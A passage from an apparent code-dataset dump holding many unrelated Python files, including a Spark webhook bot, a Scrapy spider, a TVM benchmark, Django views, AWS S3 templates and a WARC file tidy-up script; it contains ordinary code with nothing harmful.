post_message_to_room(the_header,roomId,msg):\n message = {\"roomId\":roomId,\"markdown\":msg}\n uri = 'https://api.ciscospark.com/v1/messages'\n resp = requests.post(uri, json=message, headers=the_header)\n\n# get message details\ndef get_message_details(the_header,msgId):\n uri = 'https://api.ciscospark.com/v1/messages/' + msgId\n resp = requests.get(uri, headers=the_header)\n return resp.text\n\n\n#### Business logic functions goes here\n\n\n# Flask used as listener for webhooks from Spark\napp = Flask(__name__)\n\n@app.route('/',methods=['POST'])\ndef listener():\n # On receipt of a POST (webhook), load the JSON data from the request\n data = json.loads(request.data)\n headers = request.headers\n\n #print data\n messageID = data['data']['id']\n roomID = data['data']['roomId']\n\n print (\"Data from webhook:\")\n print (json.dumps(data, indent=4))\n\n print (\"\\nHeaders from webhook:\")\n print (headers)\n print ('type:',type(headers))\n\n\n # If the poster of the message was NOT the bot itself\n if data['actorId'] != bot_id:\n spark_headers = set_headers(bot_token)\n\n # Get more specific information about the message that triggered the webhook\n json_string = get_message_details(spark_headers, messageID)\n message = json.loads(json_string)\n\n print (\"\\n\\nMessage details: \")\n print (json.dumps(message, indent=4))\n\n ####### Your main business logic goes here #######\n\n return \"OK\"\n\n\n# Runs the listener\nif __name__ == '__main__':\n #get ngrok tunnel details and update webhook\n print (\"Updating webhook with ngrok tunnel details\")\n headers = set_headers(bot_token)\n ngrok_tunnels = get_ngrok_tunnels(ngrok_url)\n public_url = ngrok_tunnels['public_http_url'] # to use https, use the 'public_https_url' key instead\n print (\"Webhook update status code: \", update_webhook(headers, webhook_name, webhook_id, public_url))\n\n #launching main application\n print (\"Launching spark bot application\")\n app.run(host='0.0.0.0', port=8080, debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"419862166","text":"#!DATE: 2018/7/17 9:51\n#!@Author: yingying\n# -*- coding: utf-8 -*-\nimport scrapy\n\nfrom CompanyInfoSpider.items import CompanyinfospiderItem\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\nfrom scrapy.contrib.linkextractors import LinkExtractor\n\nclass CNSSEcompanyidSpider(scrapy.Spider):\n name = 'CNCompanyID'\n custom_settings = { 'ITEM_PIPELINES':{'CompanyInfoSpider.pipelinesCNid.CncompanyidSpiderFastPipeline': 1}}\n allowed_domains = ['dl.app.gtja.com']\n start_urls = ['http://dl.app.gtja.com/public/fyevent/stockfile/sz_stkinfo.txt']\n #rules = [Rule(LinkExtractor(allow=['sz_stkinfo\\.txt']), 'parse'),Rule(LinkExtractor(allow=['sh_stkinfo\\.txt']), 'parse')]\n\n def parse(self, response):\n item = CompanyinfospiderItem()\n item['url'] = response.url\n initinfo = response.body\n items = initinfo.split(';')\n for i in range(len(items)):\n if items[i].strip() == '':\n print(\"Empty Item\\t\")\n break\n else:\n pass\n companyinfo = items[i].split(',')\n item['CompanyID'] = companyinfo[0]\n item['CompanyName'] = companyinfo[1]\n yield item\n\n","sub_path":"CompanyInfoSpider/spiders/CN_CompanyID.py","file_name":"CN_CompanyID.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"628166209","text":"import numpy as np\nimport tvm\nfrom tvm import autotvm\nfrom tvm import relay\nfrom tvm.relay import testing\nfrom tvm.contrib import util,graph_runtime\nimport tvm.contrib.graph_runtime as runtime\nimport argparse\nparser = argparse.ArgumentParser(prog='naive_inference')\nparser.add_argument('--network', type=str, default='resnet-34',help='choose network')\nparser.add_argument('--batch', type=int, default=4, help='choose batch size')\nparser.add_argument('--opt_level', type=int, default=0, help='choose opt_level')\nopt = parser.parse_args()\n\n\ndtype='float32'\ndef get_network(name, batch_size):\n \"\"\"Get the symbol definition and random weight of a network\"\"\"\n input_shape = (batch_size, 3, 224, 224)\n output_shape = (batch_size, 1000)\n\n if \"resnet\" in name:\n n_layer = int(name.split('-')[1])\n mod, params = relay.testing.resnet.get_workload(num_layers=n_layer, batch_size=batch_size, dtype=dtype)\n elif \"vgg\" in name:\n n_layer = int(name.split('-')[1])\n mod, params = relay.testing.vgg.get_workload(num_layers=n_layer, batch_size=batch_size, dtype=dtype)\n else:\n raise ValueError(\"Unsupported network: \" + name)\n\n return mod, params, input_shape, output_shape\n\n\n\nmod, params, data_shape, out_shape = get_network(opt.network, opt.batch)\n\n\n\nwith relay.build_config(opt_level=opt.opt_level):\n graph, lib, params = relay.build_module.build(\n mod, target='llvm -mcpu=core-avx2', params=params)\ninput_name = \"data\"\nprint('network ',opt.network)\nprint('batch ',opt.batch)\nprint('opt_level ',opt.opt_level)\n\n# upload parameters to device\n\nctx = tvm.cpu()\ndata_tvm = tvm.nd.array((np.random.uniform(size=data_shape)).astype('float32'))\nmodule = runtime.create(graph, lib, ctx)\nmodule.set_input(input_name, data_tvm)\nmodule.set_input(**params)\n\n# evaluate\n\nprint(\"Evaluate inference time cost...\")\nftimer = module.module.time_evaluator(\"run\", ctx, number=100, repeat=3)\nprof_res = np.array(ftimer().results) * 1000 # convert to millisecond\nprint(\"Mean inference time (std dev): %.2f ms (%.2f ms)\" %\n (np.mean(prof_res), np.std(prof_res)))","sub_path":"optimization_tvm/naive.py","file_name":"naive.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"543128365","text":"# -*- coding: utf-8 -*-\n__author__ = 'liuyuxiao'\n\nfrom rest_framework import status\nfrom aws.utilities.push_message import api_view\n#from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import generics, filters\n\nfrom aws.models.SchoolSerializers import (ChineseUniversitySerializer,\n ChineseHighSchoolSerializer,\n ChineseSchoolSerializer\n )\nfrom aws.models.School import (\n Chinese_university,\n Chinese_highschool,\n ChineseSchool\n )\n\n\n\n@api_view(['GET'])\ndef chinese_university(request,name):\n if request.method == 'GET':\n university_list = Chinese_university.objects.filter(university_name__icontains=str(name))\n serializer = ChineseUniversitySerializer(university_list,many=True)\n return Response({'result': serializer.data}, status=status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef chinese_highschool(request,name):\n if request.method == 'GET':\n highschool_list = Chinese_highschool.objects.filter(highschool_name__icontains=str(name))\n serializer = ChineseHighSchoolSerializer(highschool_list,many=True)\n return Response({'result': serializer.data}, status=status.HTTP_200_OK)\n\nclass SchoolList(generics.ListAPIView):\n queryset = ChineseSchool.objects.all()\n serializer_class = ChineseSchoolSerializer\n filter_backends = (filters.DjangoFilterBackend,filters.SearchFilter)\n search_fields = ('name',)\n filter_fields = ('school_type',)\n","sub_path":"aws/views/chineseschool.py","file_name":"chineseschool.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"294842403","text":"import pygame as pg\r\n\r\npg.init()\r\n\r\nRed = (221, 0, 0)\r\nGreen = (0, 187, 0)\r\nYellow = (254, 246, 0)\r\nBlue = (0, 155, 254)\r\nViolet = (48, 0, 155)\r\nOrange = (254, 98, 98)\r\n\r\ndef colourSwap(surf, from_, to_):\r\n arr = pg.PixelArray(surf)\r\n arr.replace(from_, to_)\r\n del arr\r\n\r\nclass image:\r\n def __init__(self, screen_rect):\r\n self.screen_rect = screen_rect\r\n self.image = pg.image.load('rainbow.png').convert()\r\n self.rect = self.image.get_rect(center=self.screen_rect)\r\n colourSwap(self.image, (0, 187, 0))\r\n\r\n def draw(self, surf):\r\n surf.blit(self.image, self.rect)\r\n\r\nscreen = pg.dispaly.set_mode((800, 600))\r\nscreen_rect = screen.get_rect()\r\nplayer = image(screen_rect)\r\ndone = False\r\nwhile not done:\r\n for event in pg.event.get():\r\n if event.type == pg.QUIT:\r\n done = True\r\n player.draw(screen)\r\n pg.display.update()","sub_path":"SkinChanger.py","file_name":"SkinChanger.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"384088220","text":"from tensorflow.python.keras.layers import Conv2D, ReLU, BatchNormalization, Add, UpSampling2D\n\nfrom ImageCodec import ImageCodec\n\n\nclass RecCNN:\n\n def __init__(self):\n decoded_image = ImageCodec.decode_for_training() # It automatically loads the adequate image file (the compact\n # representation image)\n ImageCodec.image_name += 1 # For next image input, we increase the image's name (to counter the latency of\n # the Google Drive)\n self.upscaled_image = UpSampling2D(2)(decoded_image)\n\n def __set_first_block(self):\n conv2d = Conv2D(filters=64, kernel_size=3, padding=\"same\")(self.upscaled_image)\n relu = ReLU()(conv2d)\n return relu\n\n @staticmethod\n def __get_atomized_second_block(previous_block):\n conv2d = Conv2D(filters=64, kernel_size=3, padding=\"same\")(previous_block)\n batch_normalization = BatchNormalization()(conv2d)\n relu = ReLU()(batch_normalization)\n return relu\n\n def __set_second_block(self):\n second_block_repetitions = self.__get_atomized_second_block(self.__set_first_block())()\n for _ in range(0, 17):\n second_block_repetitions = self.__get_atomized_second_block(second_block_repetitions)\n conv2d = Conv2D(filters=64, kernel_size=3, padding=\"same\")(second_block_repetitions)\n return conv2d\n\n def set_residual_block(self):\n second_block = self.__set_second_block()\n residual = Add()([second_block, self.upscaled_image])\n return residual, second_block, self.upscaled_image\n","sub_path":"RecCNN.py","file_name":"RecCNN.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"142575093","text":"from stacker.blueprints.base import Blueprint\nfrom troposphere import (\n Output,\n Ref,\n GetAtt,\n s3,\n iam,\n)\n\nfrom .policies import (\n read_only_s3_bucket_policy,\n read_write_s3_bucket_policy,\n s3_arn\n)\n\n\nclass Buckets(Blueprint):\n VARIABLES = {\n \"Buckets\": {\n \"type\": dict,\n \"description\": \"A dictionary of buckets to create. The key \"\n \"being the CFN logical resource name, the \"\n \"value being a dictionary of attributes for \"\n \"the troposphere s3.Bucket type.\",\n \"default\": {}\n },\n \"ReadWriteRoles\": {\n \"type\": list,\n \"description\": \"A list of roles that should have read/write \"\n \"access to the buckets created.\",\n \"default\": []\n },\n \"ReadRoles\": {\n \"type\": list,\n \"description\": \"A list of roles that should have read-only \"\n \"access to the buckets created.\",\n \"default\": []\n },\n\n }\n\n def create_template(self):\n t = self.template\n variables = self.get_variables()\n\n policy_prefix = self.context.get_fqn(self.name)\n\n bucket_ids = []\n\n for title, attrs in variables[\"Buckets\"].items():\n t.add_resource(s3.Bucket.from_dict(title, attrs))\n t.add_output(Output(title + \"BucketId\", Value=Ref(title)))\n t.add_output(Output(title + \"BucketArn\", Value=s3_arn(Ref(title))))\n t.add_output(\n Output(\n title + \"BucketDomainName\",\n Value=GetAtt(title, \"DomainName\")\n )\n )\n if \"WebsiteConfiguration\" in attrs:\n t.add_output(\n Output(\n title + \"WebsiteUrl\",\n Value=GetAtt(title, \"WebsiteURL\")\n )\n )\n\n bucket_ids.append(Ref(title))\n\n read_write_roles = variables[\"ReadWriteRoles\"]\n if read_write_roles:\n t.add_resource(\n iam.PolicyType(\n \"ReadWritePolicy\",\n PolicyName=policy_prefix + \"ReadWritePolicy\",\n PolicyDocument=read_write_s3_bucket_policy(\n bucket_ids\n ),\n Roles=read_write_roles,\n )\n )\n\n read_only_roles = variables[\"ReadRoles\"]\n if read_only_roles:\n t.add_resource(\n iam.PolicyType(\n \"ReadPolicy\",\n PolicyName=policy_prefix + \"ReadPolicy\",\n PolicyDocument=read_only_s3_bucket_policy(\n bucket_ids\n ),\n Roles=read_only_roles,\n )\n )\n","sub_path":"stacker_blueprints/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"496445797","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 6 13:41:08 2017\n\n@author: tim\n\"\"\"\n\nimport os\nfrom os import path\nfrom sys import stdout, stderr\n \ndef crawl_dir(directory = os.getcwd(), deepest_first = True):\n ''' \n Navigate a directory in a DFS pattern returning the full path to each\n file in the root directory and in each subdirectory. \n \n If there exists a '.ignore' file in any of the (sub)directories parsed, \n crawl_dir() will not return any files listed in '.ignore'. (each file \n should be listed on its own line in '.ignore'). '.ignore' is itself \n implicitly ignored.\n \n Keyword Args:\n directory - The directory to crawl through. Defaults to the \n current working directory (the directory of the \n calling process.)\n deepest_first - Return files in the deepest directories first.\n \n Return:\n A generator that generates string pathnames.\n '''\n for item in os.walk(directory, not deepest_first):\n path, dirs, files = item\n if \".ignore\" in files:\n with open(path + \"/.ignore\", \"rt\") as ignores:\n for line in ignores:\n if line in files:\n files.remove(line)\n elif line.strip() in files:\n files.remove(line.strip())\n files.remove(\".ignore\")\n for fname in files:\n yield path + \"/\" + fname\n\n\n\n \n\n ","sub_path":"lda_run/LDA_Proj/crawl_dir.py","file_name":"crawl_dir.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"262551468","text":"from django.urls import path\nfrom django.conf.urls.static import static\nfrom .views import notification_view, notice_detail, home_view,message_view,Post_view,team_view,contact_view,donation_view,success_view, about_view,message_detail, hindi_view,search_view\n\n\nurlpatterns = [\n path('',home_view,name='home'),\n path('notice/',notification_view,name= 'notice'),\n path('notice/',notice_detail,name='notice'),\n path('about/',about_view,name='about'),\n path('search/',search_view,name='search'),\n path('typing/',hindi_view,name='typing'),\n path('donation/',donation_view,name='donation'),\n path('payment_status/',success_view,name='payment_status'),\n path('post/',Post_view,name='post'),\n path('message/',message_view,name='message'),\n path('team/',team_view,name='team'),\n path('contact/',contact_view,name='contact'),\n path('message/',message_detail,name='message')\n\n]","sub_path":"suryamandir/home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"600093098","text":"from django.utils.translation import ugettext as _\n\nSERVICES = (\n # shortname, name, icon\n ('official', 'Infinity Forum', ''),\n ('datasphere', 'Datasphere', ''),\n ('flickr', 'Flickr', 'img/services/flickr.png'),\n ('twitter', 'Twitter', 'img/services/twitter.png'),\n ('facebook', 'Facebook', 'img/services/facebook.png'),\n ('googleplus', 'Google+', 'img/services/googleplus.png'),\n)\nSERVICES_DICT = dict([(r[0], r) for r in SERVICES])\n\nIMPROVIDERS = (\n # shortname, name, icon\n ('aim', 'AIM', 'img/improviders/aim.png'),\n ('yim', 'Y!IM', 'img/improviders/yim.png'),\n ('gtalk', 'GTalk', 'img/improviders/gtalk.png'),\n ('msn', 'MSN', 'img/improviders/msn.png'),\n ('jabber', 'Jabber', 'img/improviders/jabber.png'), \n)\nIMPROVIDERS_DICT = dict([(r[0], r) for r in IMPROVIDERS])\n\n# Convenience mapping from fields to machinetag (namespace, predicate)\nMACHINETAGS_FROM_FIELDS = dict(\n [('service_%s' % shortname, ('services', shortname))\n for shortname, name, icon in SERVICES] +\n [('im_%s' % shortname, ('im', shortname))\n for shortname, name, icon in IMPROVIDERS] + [\n ('privacy_search', ('privacy', 'search')),\n ('privacy_email', ('privacy', 'email')),\n ('privacy_im', ('privacy', 'im')),\n ('privacy_irctrack', ('privacy', 'irctrack')),\n ('blog', ('profile', 'blog')),\n ('looking_for_work', ('profile', 'looking_for_work')),\n ]\n)\n","sub_path":"djangopeople/djangopeople/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"607980083","text":"import random\nfrom collections import Counter\nimport numpy as np\nimport sys\n\nclass BeliefPropagation:\n\tdef __init__(self, g, localClassifierClass, *args, **kwargs):\n\t\tself.g = g\n\t\tself.class_label = 'isConservative'\n\t\tself.localClassifierClass = localClassifierClass\n\t\tconverge = kwargs['converge']\n\t\tpart = kwargs['part']\n\n\t\tself.localClassifier = self.localClassifierClass(self.g)\n\n\t\tlocal_estimate = self.localClassifier.get_estimate()\n\t\tfor vertex in self.g.vs:\n\t\t\tif vertex[self.class_label] == -1:\n\t\t\t\tvertex['estimate'] = np.random.choice( 2, p = local_estimate )\n\t\t\telse:\n\t\t\t\tvertex['estimate'] = vertex[self.class_label]\n\t\t\n\t\tfor i in range(10):\n\t\t\trandomOrder = list( g.vs.select( isConservative_eq=-1 ) )\n\t\t\trandom.shuffle(randomOrder)\n\t\t\tfor vertex in randomOrder:\n\t\t\t\tnum = [0,0]\n\t\t\t\tfor n in vertex.neighbors():\n\t\t\t\t\tnum[ n['estimate'] ] += 1\n\t\t\t\tif num[0] == num[1]:\n\t\t\t\t\tvertex['estimate'] = np.random.choice( 2, p = local_estimate )\n\t\t\t\telif num[0] > num[1]:\n\t\t\t\t\tvertex['estimate'] = 0\n\t\t\t\telif num[0] < num[1]:\n\t\t\t\t\tvertex['estimate'] = 1\n","sub_path":"belief_propagation.py","file_name":"belief_propagation.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"360862775","text":"class TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n # inorder trversal of the node\n def __iter__(self):\n if self.left:\n for elem in self.left:\n yield elem\n\n yield self.val\n\n if self.right:\n for elem in self.right:\n yield elem\n\n def __repr__(self):\n return \"BST.Node(\" + repr(self.val) + \",\" + repr(self.left) + \",\" + repr(self.right) + \")\"\n\ndef init_tree(tree_type=1):\n\n if tree_type == 1:\n t1 = TreeNode(1)\n t2 = TreeNode(2)\n t3 = TreeNode(3)\n t4 = TreeNode(4)\n t5 = TreeNode(5)\n t6 = TreeNode(6)\n t7 = TreeNode(7)\n\n t1.left = t2\n t1.right = t3\n t2.left = t4\n t2.right = t5\n t3.left = t6\n t3.right = t7\n\n root = t1\n else:\n t5 = TreeNode(5)\n t2 = TreeNode(2)\n t3 = TreeNode(3)\n t1 = TreeNode(1)\n t4 = TreeNode(4)\n t6 = TreeNode(6)\n t8 = TreeNode(8)\n\n t5.left = t2\n t5.right = t3\n t2.left = t1\n t2.right = t4\n t4.left = t6\n t4.right = t8\n\n root = t5\n\n return root\n\ndef height(node):\n if not node:\n return 0\n else:\n left = height(node.left)\n right = height(node.right)\n\n return max(left,right) + 1\n\n# driver code to test\ndef main():\n root = init_tree()\n print(height(root))\n\n# main()\n","sub_path":"InterviewBit/Trees/Tree.py","file_name":"Tree.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"239669245","text":"from pydoc import locate\nfrom config import application\n\nfrom masonite.app import App\nfrom masonite.routes import Get\nfrom masonite.testsuite.TestSuite import TestSuite\n\n\ncontainer = App()\ncontainer.bind('WSGI', object)\nwsgi_request = {\n 'wsgi.version': (1, 0),\n 'wsgi.multithread': False,\n 'wsgi.multiprocess': True,\n 'wsgi.run_once': False,\n 'SERVER_SOFTWARE': 'gunicorn/19.7.1',\n 'REQUEST_METHOD': 'GET',\n 'QUERY_STRING': 'application=Masonite',\n 'RAW_URI': '/',\n 'SERVER_PROTOCOL': 'HTTP/1.1',\n 'HTTP_HOST': '127.0.0.1:8000',\n 'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',\n 'HTTP_UPGRADE_INSECURE_REQUESTS': '1',\n 'HTTP_COOKIE': 'setcookie=value',\n 'HTTP_USER_AGENT': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7',\n 'HTTP_ACCEPT_LANGUAGE': 'en-us',\n 'HTTP_ACCEPT_ENCODING': 'gzip, deflate',\n 'HTTP_CONNECTION': 'keep-alive',\n 'wsgi.url_scheme': 'http',\n 'REMOTE_ADDR': '127.0.0.1',\n 'REMOTE_PORT': '62241',\n 'SERVER_NAME': '127.0.0.1',\n 'SERVER_PORT': '8000',\n 'PATH_INFO': '/',\n 'SCRIPT_NAME': ''\n}\n\ncontainer.bind('Application', application)\ncontainer.bind('Environ', wsgi_request)\n\n\ndef test_providers_load_into_container():\n\n for provider in container.make('Application').PROVIDERS:\n container.resolve(locate(provider)().load_app(container).register)\n\n container.bind('Response', 'test')\n container.bind('WebRoutes', [\n Get().route('url', None),\n Get().route('url/', None),\n Get().route('url/@firstname', None),\n ])\n\n container.bind('Response', 'Route not found. Error 404')\n\n for provider in container.make('Application').PROVIDERS:\n located_provider = locate(provider)().load_app(container)\n\n container.resolve(locate(provider)().load_app(container).boot)\n\n assert container.make('Request')\n\n\ndef test_normal_app_containers():\n container = TestSuite().create_container()\n assert container.get_container().make('Request')\n","sub_path":"tests/test_providers.py","file_name":"test_providers.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"612068820","text":"# -*- encoding=utf-8 -*-\nfrom video_APP import bobotv, bestv\nimport re, Levenshtein\nimport paras\n\n\ndef th(s):\n tihuan = {u'一': '', u'二': '2', u'三': '3', u'四': '4', u'五': '5', u'六': '6', u'���': '7', u'八': '8', u'九': '9',\n u'十': '10'}\n if not s:\n s=u''\n s = re.sub(r' 国| 粤|国语版|粤语版|原声版|英文版|普通话|DVD版|TV版', '', s)\n s = re.sub(r'\\s|(.*)|\\(.*\\)|-.*', '', s)\n s = re.sub(r'\\s|:|:|;|;|主演|主持', '', s)\n for w,v in tihuan.items():\n if w in s:\n s = re.sub(w,v,s)\n return s\n\ndef num_comp(s1, s2):\n try:num1 = re.findall('[0-9]+',s1)[-1]\n except:num1 = -1\n try:num2 = re.findall('[0-9]+',s2)[-1]\n except:num2 = -1\n if num1 == num2:\n return True\n else:\n return False\n\ndef match(source, app):\n biaoti = source[0].strip()\n yanyuan = source[1].strip()\n leixin = source[-1].strip()\n\n seachKey = re.sub(r'\\s.*|(.*)|\\(.*\\)', '', source[0]).strip()\n\n if len(seachKey) > 5:\n seachKey = seachKey[0:5]\n else:\n seachKey = seachKey\n\n if str(app.__class__) == 'video_APP.bobotv' or str(app.__class__) == 'video_APP.HuNan_TV':\n res = app.search(seachKey, leixin)\n else:\n res = app.search(seachKey)\n\n if res:\n select = {}\n for k,item in res.items():\n # namecomp = compare(biaoti,item[1])\n # actorcomp = compare(yanyuan,item[-1])\n\n namecomp = Levenshtein.ratio(th(biaoti), th(item[0]))\n actorcomp = Levenshtein.ratio(th(yanyuan), th(item[1]))\n typecomp = Levenshtein.ratio(th(leixin), th(item[2]))\n\n select[k] = (namecomp*2+actorcomp+typecomp)/4\n\n select = sorted(select.items(), key=lambda x:x[1], reverse=True)\n\n if select[0][1] == 0:\n text = '~'.join([biaoti, yanyuan, leixin, 'score=0'])\n print(text)\n else:\n for s in select:\n if s[1] == select[0][1]:\n vcode = s[0]\n text = '~'.join([biaoti, yanyuan, leixin, str(select[0][1])])\n print(text,'~',)\n for i in res[vcode]:\n print(i,'~',)\n print(\"\")\n else: \n break\n else:\n text = '~'.join([biaoti, yanyuan, leixin, 'NoResult'])\n print(text)\n\nbobo = bobotv(paras.urls_boboTV, paras.headers_boboTV, paras.paras_boboTV)\n# print(bobo.search('梅花','电视剧'))\n# print(bobo.update_head())\n# print(bobo.update_video('http://epg.bobo.itvsh.cn/epg/api/series/00000001000000100000000000001331.json'))\n\n#vid_bst=['2970859','2967763','2974938']\nbest = bestv(paras.urls_bestv, paras.headers_bestv, paras.paras_bestv)\n# print(best.update_head())\n# print(best.search('魔都风云'))\n# print(best.update_video('2970859'))\n'''\nah = iTV(paras.urls_iTV, paras.headers_iTV, paras.paras_iTV)\n# print(ah.search('如果'))\n# print(ah.update_video('Vstartek205943','3'))\n# print(ah.update_head())\n# print(ah.update_token())\n\nuhd = UHD(paras.urls_UHD, paras.headers_UHD, paras.paras_UHD)\n# print(uhd.search('爱情进化'))\n# print(uhd.update_head())\n# print(uhd.update_video('524','4'))\n\nhn = HuNan_TV(paras.urls_HuNanTV, paras.headers_HuNanTV, paras.paras_HuNanTV)\n# print(hn.search('极限挑战','综艺'))\n# print(hn.update_video('Merge_8C7BBBBA95C1025975E548CEE86DFADC'))\n# print(hn.update_head())\n\n\naiqiyi = iQIYI(paras.urls_iQIYI, paras.headers_iQIYI, paras.paras_iQIYI)\n#match(['我的父亲我的兵','张一山刘威傅淼','电视剧'],aiqiyi)\n#match(['极限挑战','','综艺'],ah)\n'''","sub_path":"Proj_App/VideoSite/APP_match.py","file_name":"APP_match.py","file_ext":"py","file_size_in_byte":3641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"392701743","text":"class Solution:\n def nextGreaterElement(self, n: int) -> int:\n s = list(str(n))\n \n first = len(s) - 1\n for i in range(len(s)-2, -1, -1):\n if s[i] < s[i+1]:\n first = i\n break\n \n if first == len(s) - 1:\n return -1\n\n second = first+1\n minimum = s[second]\n \n for i in range(first+1, len(s)):\n if s[i] < minimum and s[i] > s[first]:\n minumum = s[i]\n second = i\n \n s[first], s[second] = s[second], s[first]\n \n ret = int(\"\".join(s[:first+1] + sorted(s[first+1:])))\n return ret if ret <= (1<<31-1) else -1\n","sub_path":"556-Next-Greater-Element-III/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"523211837","text":"import random\n\ncards = ['2','3','4','5','6','7','8','9','10','A','K','Q','J']\nsuits = ['Clubs', 'Diamonds', 'Spades', 'Hearts']\nfull_deck = []\n\nfor rank in cards:\n for suit in suits:\n full_deck.append(suit + ': ' + rank)\n\ndef face_rank(card):\n if card[0] in ('K','Q','J'):\n return(10)\n\nprint(face_rank(full_deck[4]))\n","sub_path":"projects/blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"540566779","text":"from django.db.models import get_model\nfrom django.http import HttpResponse\nfrom django.utils import simplejson\n\ndef filterchain(request, app, model, field, value):\n Model = get_model(app, model)\n keywords = {str(field): str(value)}\n results = Model.objects.filter(**keywords)\n result = []\n for item in results:\n result.append({'value':item.pk, 'display':unicode(item)})\n json = simplejson.dumps(result)\n return HttpResponse(json, mimetype='application/json')\n","sub_path":"smart_selects/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631780446","text":"import os\r\nimport re\r\nimport json\r\nimport shutil\r\nimport argparse\r\nimport logging\r\nimport requests\r\nfrom prometheus_client import CollectorRegistry, Gauge, push_to_gateway\r\n\r\nlogging.basicConfig(level=logging.WARNING, format='%(asctime)s: %(levelname)s - %(name)s - %(message)s')\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\ndef send_metrics(metrics, fs):\r\n\r\n registry = CollectorRegistry()\r\n\r\n g = Gauge('ukwa_files_moved_count',\r\n 'Total number of files moved by this task.',\r\n labelnames=['fs', 'kind'], registry=registry)\r\n g.labels(fs=fs, kind='warcprox-warcs').set(metrics['wren_warcs_moved'])\r\n\r\n g = Gauge('ukwa_files_count',\r\n 'Total number of files.',\r\n labelnames=['fs','kind'], registry=registry)\r\n for kind in metrics:\r\n g.labels(fs=fs, kind=kind).set(metrics[kind])\r\n\r\n if os.environ.get(\"PUSH_GATEWAY\"):\r\n push_to_gateway(os.environ.get(\"PUSH_GATEWAY\"), job='warc_tidy', registry=registry)\r\n else:\r\n logger.error(\"No metrics PUSH_GATEWAY configured!\")\r\n\r\n\r\ndef warc_tidy_up(prefix=\"/mnt/gluster/fc\", output_json=True, do_move=True, trackdb_url='http://solr8.api.wa.bl.uk/solr/tracking/select'):\r\n logger.info(\"Scanning %s...\" % prefix)\r\n\r\n metrics = { \r\n 'wren_warcs': 0,\r\n 'wren_warcs_matched': 0,\r\n 'wren_warcs_nomatch': 0,\r\n 'wren_warcs_moved': 0,\r\n }\r\n\r\n # Expected filenaming:\r\n p = re.compile(\"BL-....-WEBRENDER-([a-z\\-0-9]+)-([0-9]{14})-([a-z\\-0-9]+)\\.warc\\.gz\")\r\n # List all matching files in source directory:\r\n webrender_path = os.path.join(prefix, 'heritrix/wren/')\r\n for file_path in os.listdir(webrender_path):\r\n if file_path.endswith('.warc.gz'):\r\n metrics['wren_warcs'] += 1\r\n file_name = os.path.basename(file_path)\r\n matches = p.search(file_name)\r\n if matches:\r\n metrics['wren_warcs_matched'] += 1\r\n destination_folder_path = \"%s/heritrix/output/%s/%s/warcs\" %( prefix, matches.group(1), matches.group(2))\r\n if not os.path.exists(destination_folder_path):\r\n raise Exception(\"Expected destination folder does not exist! :: %s\" % destination_folder_path)\r\n if not os.path.isdir(destination_folder_path):\r\n raise Exception(\"Expected destination folder is not a folder! :: %s\" % destination_folder_path)\r\n source_file_path = os.path.join(webrender_path, file_name)\r\n destination_file_path = os.path.join(destination_folder_path, file_name)\r\n if os.path.exists(destination_file_path):\r\n raise Exception(\"Destination file already exists! :: %s\" % destination_file_path)\r\n if do_move:\r\n logger.debug(\"Moving %s to %s...\" %( source_file_path, destination_file_path ))\r\n shutil.move( source_file_path, destination_file_path )\r\n metrics['wren_warcs_moved'] += 1\r\n else:\r\n metrics['wren_warcs_nomatch'] += 1\r\n\r\n # Log activity\r\n logger.info(\"Moved %s files.\" % metrics['wren_warcs_moved'])\r\n\r\n # Also scan main WARCs folder:\r\n metrics['warcs'] = 0\r\n 